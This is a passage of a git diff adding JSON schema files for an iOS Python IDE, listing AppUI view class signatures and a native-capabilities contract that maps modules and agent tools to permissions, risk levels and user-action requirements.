Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None, key: Optional[str] = None)", + "class_signature": "class Tab(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None, key: Optional[str] = None) -> None: ...", + "line": 1597, + "methods": { + "__init__": { + "line": 1602, + "return_type": "None", + "signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None, key: Optional[str] = None) -> None: ..." + } + }, + "public_name": "Tab", + "semantic_domain": "tab", + "source_file": "pyboot/appui.pyi", + "type_id": 866238563 + }, + "TabView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "tab_view", + "call_signature": "TabView(tabs: Optional[Sequence[\"Tab\"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class TabView(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, tabs: Optional[Sequence[\"Tab\"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1583, + "methods": { + "__init__": { + "line": 1593, + "return_type": "None", + "signature": "def __init__(self, tabs: Optional[Sequence[\"Tab\"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "TabView", + "semantic_domain": "tab", + "source_file": "pyboot/appui.pyi", + "type_id": 668363369 + }, + "Table": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "table", + "call_signature": "Table(data: Optional[Sequence[Dict[str, Any]]] = None, columns: Optional[Sequence[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None)", + "class_signature": "class Table(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, data: Optional[Sequence[Dict[str, Any]]] = None, columns: Optional[Sequence[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None) -> None: ...", + "line": 1670, + "methods": { + "__init__": { + "line": 1672, + "return_type": "None", + "signature": "def __init__(self, data: Optional[Sequence[Dict[str, Any]]] = None, columns: Optional[Sequence[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "Table", + "semantic_domain": "table", + "source_file": "pyboot/appui.pyi", + "type_id": 1627220726 + }, + "Text": { + "aurora_slots": [ + { + "attr": "_content", + "name": "content", + "prop_id": 256, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "text", + "call_signature": "Text(content: str = '')", + "class_signature": "class Text(View):", + "domain": "text", + "initializer_signature": "def __init__(self, content: str = '') -> None: ...", + "line": 1060, + "methods": { + "__init__": { + "line": 1068, + "return_type": "None", + "signature": "def __init__(self, content: str = '') -> None: ..." + }, + "aurora_set_content": { + "line": 1069, + "return_type": "None", + "signature": "def aurora_set_content(self, content: str) -> None: \"\"\"Update text content via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Text", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1724291469 + }, + "TextEditor": { + "aurora_slots": [ + { + "attr": "_text", + "name": "text", + "prop_id": 512, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "text_editor", + "call_signature": "TextEditor(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class TextEditor(View):", + "domain": "control", + "initializer_signature": "def __init__(self, text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1216, + "methods": { + "__init__": { + "line": 1218, + "return_type": "None", + "signature": "def __init__(self, text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "TextEditor", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1932253471 + }, + "TextField": { + "aurora_slots": [ + { + "attr": "_text", + "name": "text", + "prop_id": 512, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "text_field", + "call_signature": "TextField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any)", + "class_signature": "class TextField(View):", + "domain": "control", + "initializer_signature": "def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any) -> None: ...", + "line": 1182, + "methods": { + "__init__": { + "line": 1193, + "return_type": "None", + "signature": "def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any) -> None: ..." + }, + "aurora_set_text": { + "line": 1205, + "return_type": "None", + "signature": "def aurora_set_text(self, text: str) -> None: \"\"\"Update text field content via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "TextField", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1371338347 + }, + "TextFieldLink": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "text_field_link", + "call_signature": "TextFieldLink(title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)", + "class_signature": "class TextFieldLink(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ...", + "line": 1221, + "methods": { + "__init__": { + "line": 1223, + "return_type": "None", + "signature": "def __init__(self, title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "TextFieldLink", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1233292716 + }, + "TimelineView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "timeline_view", + "call_signature": "TimelineView(interval: float = 1.0, content: Optional[View] = None)", + "class_signature": "class TimelineView(View):", + "domain": "feedback", + "initializer_signature": "def __init__(self, interval: float = 1.0, content: Optional[View] = None) -> None: ...", + "line": 1718, + "methods": { + "__init__": { + "line": 1720, + "return_type": "None", + "signature": "def __init__(self, interval: float = 1.0, content: Optional[View] = None) -> None: ..." + } + }, + "public_name": "TimelineView", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 796036453 + }, + "Toggle": { + "aurora_slots": [ + { + "attr": "_is_on", + "name": "is_on", + "prop_id": 768, + "python_descriptor": true, + "value_type": "bool" + } + ], + "auto_register": true, + "bridge_type": "toggle", + "call_signature": "Toggle(label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None)", + "class_signature": "class Toggle(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None) -> None: ...", + "line": 1234, + "methods": { + "__init__": { + "line": 1245, + "return_type": "None", + "signature": "def __init__(self, label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None) -> None: ..." + }, + "aurora_set_is_on": { + "line": 1248, + "return_type": "None", + "signature": "def aurora_set_is_on(self, value: bool) -> None: \"\"\"Update toggle state via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Toggle", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 1847446242 + }, + "ToolbarItem": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "toolbar_item", + "call_signature": "ToolbarItem(placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None)", + "class_signature": "class ToolbarItem(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None) -> None: ...", + "line": 1997, + "methods": { + "__init__": { + "line": 2007, + "return_type": "None", + "signature": "def __init__(self, placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None) -> None: ..." + } + }, + "public_name": "ToolbarItem", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 2052423522 + }, + "ToolbarSpacer": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "toolbar_spacer", + "call_signature": "ToolbarSpacer(sizing: str = 'fixed', placement: str = 'automatic')", + "class_signature": "class ToolbarSpacer(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, sizing: str = 'fixed', placement: str = 'automatic') -> None: ...", + "line": 2011, + "methods": { + "__init__": { + "line": 2013, + "return_type": "None", + "signature": "def __init__(self, sizing: str = 'fixed', placement: str = 'automatic') -> None: ..." + } + }, + "public_name": "ToolbarSpacer", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 572014512 + }, + "VStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "vstack", + "call_signature": "VStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)", + "class_signature": "class VStack(_ContainerView):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ...", + "line": 1433, + "methods": { + "__init__": { + "line": 1440, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "VStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 549758049 + }, + "VideoPlayer": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "video_player", + "call_signature": "VideoPlayer(url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None)", + "class_signature": "class VideoPlayer(View):", + "domain": "media", + "initializer_signature": "def __init__(self, url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None) -> None: ...", + "line": 1825, + "methods": { + "__init__": { + "line": 1834, + "return_type": "None", + "signature": "def __init__(self, url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "VideoPlayer", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 585922776 + }, + "ViewThatFits": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "view_that_fits", + "call_signature": "ViewThatFits(content: Optional[Sequence[View]] = None)", + "class_signature": "class ViewThatFits(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None) -> None: ...", + "line": 1531, + "methods": { + "__init__": { + "line": 1533, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "ViewThatFits", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 283888 + }, + "WebView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "web_view", + "call_signature": "WebView(url: Optional[str] = None, html: Optional[str] = None)", + "class_signature": "class WebView(View):", + "domain": "media", + "initializer_signature": "def __init__(self, url: Optional[str] = None, html: Optional[str] = None) -> None: ...", + "line": 1781, + "methods": { + "__init__": { + "line": 1783, + "return_type": "None", + "signature": "def __init__(self, url: Optional[str] = None, html: Optional[str] = None) -> None: ..." + } + }, + "public_name": "WebView", + "semantic_domain": "web", + "source_file": "pyboot/appui.pyi", + "type_id": 1561741721 + }, + "WheelPicker": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "wheel_picker", + "call_signature": "WheelPicker(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class WheelPicker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1305, + "methods": { + "__init__": { + "line": 1307, + "return_type": "None", + "signature": "def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "WheelPicker", + "semantic_domain": "selection", + "source_file": "pyboot/appui.pyi", + "type_id": 1690416975 + }, + "ZStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "zstack", + "call_signature": "ZStack(content: Optional[Sequence[View]] = None, alignment: str = 'center')", + "class_signature": "class ZStack(_ContainerView):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center') -> None: ...", + "line": 1448, + "methods": { + "__init__": { + "line": 1450, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center') -> None: ..." + } + }, + "public_name": "ZStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 1460036634 + } + } +} diff --git a/docs/schemas/native_capabilities_schema.json b/docs/schemas/native_capabilities_schema.json new file mode 100644 index 0000000..c5fb14f --- /dev/null +++ b/docs/schemas/native_capabilities_schema.json @@ -0,0 +1,2157 @@ +{ + "schema": "pythonide.native_capabilities.v2", + "version": 2, + "status": "executable_contract", + "description": "Executable canonical contract for PythonIDE native iOS capabilities (v2). Single source of truth for Python modules, AppUI bridges, topic pages, navigation, runtimes, docs, Agent routing, scopes, risk, and user-action presentation.", + "topLevelDocs": { + "user": [ + "ios-native", + "miniapp-native-capabilities" + ], + "agent": [ + "ios-native-agent", + "miniapp-native-capabilities-agent" + ] + }, + "permissionKeys": [ + "biometric", + "bluetooth", + "calendar", + "camera", + "contacts", + "health", + "location", + "microphone", + "motion", + "nfc", + "notifications", + "photos", + "reminders", + "speech" + ], + "rules": { + "sideEffectsRequireUserAction": true, + "nativeCallsStayOutOfAppUIBody": true, + "secretsUseKeychain": true, + "permissionKeyForNotifications": "notifications" + }, + "agentToolSurfaces": { + "device": { + "toolId": "device", + "actions": [ + "status" + ], + "modules": [ + "device" + ], + "scopeIds": [ + "device.status" + ], + "description": "Direct read-only device status facts exposed by the iOS runtime.", + "actionDetails": { + "status": { + "modules": [ + "device" + ], + "scopeIds": [ + "device.status" + ], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Read battery, charging state, device model, and system version from the native runtime." + } + } + }, + "native_query": { + "toolId": "native_query", + "actions": [ + "photos_count", + "photos_summary", + "contacts_count", + "contacts_summary", + "calendar_events", + "reminders", + "location", + "device_status", + "app_info", + "clipboard_text", + "notification_settings" + ], + "modules": [ + "photos", + "contacts", + "calendar_events", + "location", + "device", + "clipboard", + "notification" + ], + "scopeIds": [ + "native.query" + ], + "description": "Read-only query bridge for current app/device/user-authorized local data.", + "actionAliases": { + "current_location": "location" + }, + "actionDetails": { + "photos_count": { + "modules": [ + "photos" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [ + "photos" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Count Photos library assets after Photos authorization is available." + }, + "photos_summary": { + "modules": [ + "photos" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [ + "photos" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Summarize Photos library assets after Photos authorization is available." + }, + "contacts_count": { + "modules": [ + "contacts" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [ + "contacts" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Count Contacts entries after Contacts authorization is available." + }, + "contacts_summary": { + "modules": [ + "contacts" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [ + "contacts" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Return bounded Contacts samples after Contacts authorization is available." + }, + "calendar_events": { + "modules": [ + "calendar_events" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [ + "calendar" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Read calendar events in a bounded date window after Calendar authorization is available." + }, + "reminders": { + "modules": [ + "calendar_events" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [ + "reminders" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Read reminders after Reminders authorization is available." + }, + "location": { + "modules": [ + "location" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [ + "location" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Read the current location after Location authorization is available." + }, + "device_status": { + "modules": [ + "device" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Read local battery and device status facts." + }, + "app_info": { + "modules": [ + "device" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Read local app bundle, locale, timezone, and device facts." + }, + "clipboard_text": { + "modules": [ + "clipboard" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Read bounded text from the general pasteboard." + }, + "notification_settings": { + "modules": [ + "notification" + ], + "scopeIds": [ + "native.query" + ], + "permissionKeys": [ + "notifications" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Read current local notification authorization and delivery settings." + } + } + }, + "native": { + "toolId": "native", + "actions": [ + "photo_save", + "calendar_create", + "file_export", + "open_url", + "open_settings", + "clipboard_write", + "notification_schedule" + ], + "modules": [ + "photos", + "calendar_events", + "dialogs", + "shortcuts", + "clipboard", + "notification" + ], + "scopeIds": [ + "native.photos", + "native.calendar", + "native.export", + "native.open", + "native.clipboard", + "native.notifications" + ], + "description": "User-visible native mutation/export bridge for Photos, Calendar, and share sheet actions.", + "actionDetails": { + "photo_save": { + "modules": [ + "photos" + ], + "scopeIds": [ + "native.photos" + ], + "permissionKeys": [ + "photos" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Save a workspace image or video file into the user's Photos library." + }, + "calendar_create": { + "modules": [ + "calendar_events" + ], + "scopeIds": [ + "native.calendar" + ], + "permissionKeys": [ + "calendar" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Create a Calendar event through EventKit after Calendar authorization is available." + }, + "file_export": { + "modules": [ + "dialogs" + ], + "scopeIds": [ + "native.export" + ], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Present the iOS share/export sheet for a workspace file." + }, + "open_url": { + "modules": [ + "shortcuts" + ], + "scopeIds": [ + "native.open" + ], + "permissionKeys": [], + "agentRisk": "externalMutation", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Open an http(s) URL, universal link, or installed-app deep link through the shared native URL executor.", + "searchTerms": [ + "打开", + "跳转", + "应用", + "微信", + "链接", + "deep link", + "open app" + ] + }, + "open_settings": { + "modules": [ + "shortcuts" + ], + "scopeIds": [ + "native.open" + ], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Open PythonIDE's page in the iOS Settings app through the shared native URL executor.", + "searchTerms": [ + "打开设置", + "系统设置", + "设置权限" + ] + }, + "clipboard_write": { + "modules": [ + "clipboard" + ], + "scopeIds": [ + "native.clipboard" + ], + "permissionKeys": [], + "agentRisk": "externalMutation", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Write user-requested text to the general pasteboard through the same native bridge used by the Python clipboard module.", + "searchTerms": [ + "复制", + "剪贴板", + "粘贴板" + ] + }, + "notification_schedule": { + "modules": [ + "notification" + ], + "scopeIds": [ + "native.notifications" + ], + "permissionKeys": [ + "notifications" + ], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Request notification authorization when needed and schedule a local notification through the shared native notification executor.", + "searchTerms": [ + "通知", + "提醒", + "本地通知", + "完成后通知" + ] + } + } + } + }, + "aliases": { + "calendar-events": "calendar_events", + "calendar events": "calendar_events", + "live-activity": "live_activity", + "live activity": "live_activity", + "objc-util": "objc_util", + "objc util": "objc_util", + "vision-helper": "vision_helper", + "vision helper": "vision_helper", + "core-ml": "coreml", + "core ml": "coreml" + }, + "categories": { + "deviceSensors": "Device state, sensors, location, feedback, biometrics, and health.", + "systemServices": "Permissions, persistence, secrets, dialogs, notifications, contacts, calendar, live activities, and NFC.", + "mediaVision": "Photos, audio, speech, video, Vision, and Core ML.", + "networkData": "Network, WebSocket, Bluetooth, background tasks, and C extension availability.", + "automationExtensions": "Shortcuts, Objective-C Runtime access, system framework access, and keyboard toolbar integration." + }, + "modules": { + "device": { + "importName": "device", + "category": "deviceSensors", + "docId": "device-module", + "docFile": "device-module.md", + "agentDocId": "device-module-agent", + "agentDocFile": "device-module-agent.md", + "capabilities": [ + "device_state", + "screen", + "battery", + "thermal_state" + ], + "permissions": [], + "risk": "read_only", + "requiresUserAction": false, + "failureStates": [ + "unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "location": { + "importName": "location", + "category": "deviceSensors", + "docId": "location-module", + "docFile": "location-module.md", + "agentDocId": "location-module-agent", + "agentDocFile": "location-module-agent.md", + "capabilities": [ + "gps", + "heading", + "geocoding" + ], + "permissions": [ + "location" + ], + "risk": "permissioned_read", + "requiresUserAction": true, + "failureStates": [ + "denied", + "restricted", + "unavailable", + "timeout" + ], + "kind": "module", + "presentation": "api" + }, + "motion": { + "importName": "motion", + "category": "deviceSensors", + "docId": "motion-module", + "docFile": "motion-module.md", + "agentDocId": "motion-module-agent", + "agentDocFile": "motion-module-agent.md", + "capabilities": [ + "accelerometer", + "gyroscope", + "attitude", + "barometer" + ], + "permissions": [ + "motion" + ], + "risk": "sensor_stream", + "requiresUserAction": true, + "failureStates": [ + "unavailable", + "not_started" + ], + "kind": "module", + "presentation": "api" + }, + "haptics": { + "importName": "haptics", + "category": "deviceSensors", + "docId": "haptics-module", + "docFile": "haptics-module.md", + "agentDocId": "haptics-module-agent", + "agentDocFile": "haptics-module-agent.md", + "capabilities": [ + "impact_feedback", + "notification_feedback", + "core_haptics" + ], + "permissions": [], + "risk": "system_feedback", + "requiresUserAction": true, + "failureStates": [ + "unsupported" + ], + "kind": "module", + "presentation": "api" + }, + "biometric": { + "importName": "biometric", + "category": "deviceSensors", + "docId": "biometric-module", + "docFile": "biometric-module.md", + "agentDocId": "biometric-module-agent", + "agentDocFile": "biometric-module-agent.md", + "capabilities": [ + "face_id", + "touch_id", + "passcode_fallback" + ], + "permissions": [ + "biometric" + ], + "risk": "sensitive_gate", + "requiresUserAction": true, + "failureStates": [ + "denied", + "cancelled", + "unavailable", + "failed" + ], + "kind": "module", + "presentation": "blocking_sheet" + }, + "health": { + "importName": "health", + "category": "deviceSensors", + "docId": "health-module", + "docFile": "health-module.md", + "agentDocId": "health-module-agent", + "agentDocFile": "health-module-agent.md", + "capabilities": [ + "steps", + "heart_rate", + "sleep", + "body_metrics" + ], + "permissions": [ + "health" + ], + "risk": "sensitive_read", + "requiresUserAction": true, + "failureStates": [ + "denied", + "unavailable", + "empty" + ], + "kind": "module", + "presentation": "api" + }, + "permission": { + "importName": "permission", + "category": "systemServices", + "docId": "permission-module", + "docFile": "permission-module.md", + "agentDocId": "permission-module-agent", + "agentDocFile": "permission-module-agent.md", + "capabilities": [ + "permission_status", + "permission_request" + ], + "permissions": [], + "queryablePermissionKeys": [ + "camera", + "microphone", + "photos", + "location", + "location_always", + "contacts", + "calendar", + "reminders", + "notifications", + "speech", + "motion", + "bluetooth", + "health" + ], + "risk": "permission_prompt", + "requiresUserAction": true, + "failureStates": [ + "denied", + "restricted", + "unknown_key" + ], + "kind": "module", + "presentation": "api" + }, + "storage": { + "importName": "storage", + "category": "systemServices", + "docId": "storage-module", + "docFile": "storage-module.md", + "agentDocId": "storage-module-agent", + "agentDocFile": "storage-module-agent.md", + "capabilities": [ + "user_defaults", + "json_values" + ], + "permissions": [], + "risk": "local_persistence", + "requiresUserAction": false, + "failureStates": [ + "missing_key", + "decode_error" + ], + "kind": "module", + "presentation": "api" + }, + "database": { + "importName": "database", + "category": "systemServices", + "docId": "database-module", + "docFile": "database-module.md", + "agentDocId": "database-module-agent", + "agentDocFile": "database-module-agent.md", + "capabilities": [ + "sqlite", + "native_sqlite_bridge", + "collections", + "transactions" + ], + "permissions": [], + "risk": "local_persistence", + "requiresUserAction": false, + "failureStates": [ + "missing_record", + "query_error" + ], + "kind": "module", + "presentation": "api" + }, + "keychain": { + "importName": "keychain", + "category": "systemServices", + "docId": "keychain-module", + "docFile": "keychain-module.md", + "agentDocId": "keychain-module-agent", + "agentDocFile": "keychain-module-agent.md", + "capabilities": [ + "secure_password_storage", + "service_listing" + ], + "permissions": [], + "risk": "secret_storage", + "requiresUserAction": false, + "failureStates": [ + "missing_secret", + "os_error" + ], + "kind": "module", + "presentation": "api" + }, + "clipboard": { + "importName": "clipboard", + "category": "systemServices", + "docId": "clipboard-module", + "docFile": "clipboard-module.md", + "agentDocId": "clipboard-module-agent", + "agentDocFile": "clipboard-module-agent.md", + "capabilities": [ + "read_clipboard", + "write_clipboard", + "clear_clipboard" + ], + "permissions": [], + "risk": "user_content", + "requiresUserAction": true, + "failureStates": [ + "empty" + ], + "kind": "module", + "presentation": "api" + }, + "console": { + "importName": "console", + "category": "systemServices", + "docId": "console-module", + "docFile": "console-module.md", + "agentDocId": "console-module-agent", + "agentDocFile": "console-module-agent.md", + "capabilities": [ + "hud", + "alerts", + "input_dialogs" + ], + "permissions": [], + "risk": "ui_prompt", + "requiresUserAction": true, + "failureStates": [ + "cancelled" + ], + "kind": "module", + "presentation": "blocking_sheet" + }, + "dialogs": { + "importName": "dialogs", + "category": "systemServices", + "docId": "dialogs-module", + "docFile": "dialogs-module.md", + "agentDocId": "dialogs-module-agent", + "agentDocFile": "dialogs-module-agent.md", + "capabilities": [ + "native_dialogs", + "forms", + "pickers" + ], + "permissions": [], + "risk": "ui_prompt", + "requiresUserAction": true, + "failureStates": [ + "cancelled" + ], + "kind": "module", + "presentation": "blocking_sheet" + }, + "notification": { + "importName": "notification", + "category": "systemServices", + "docId": "notification-module", + "docFile": "notification-module.md", + "agentDocId": 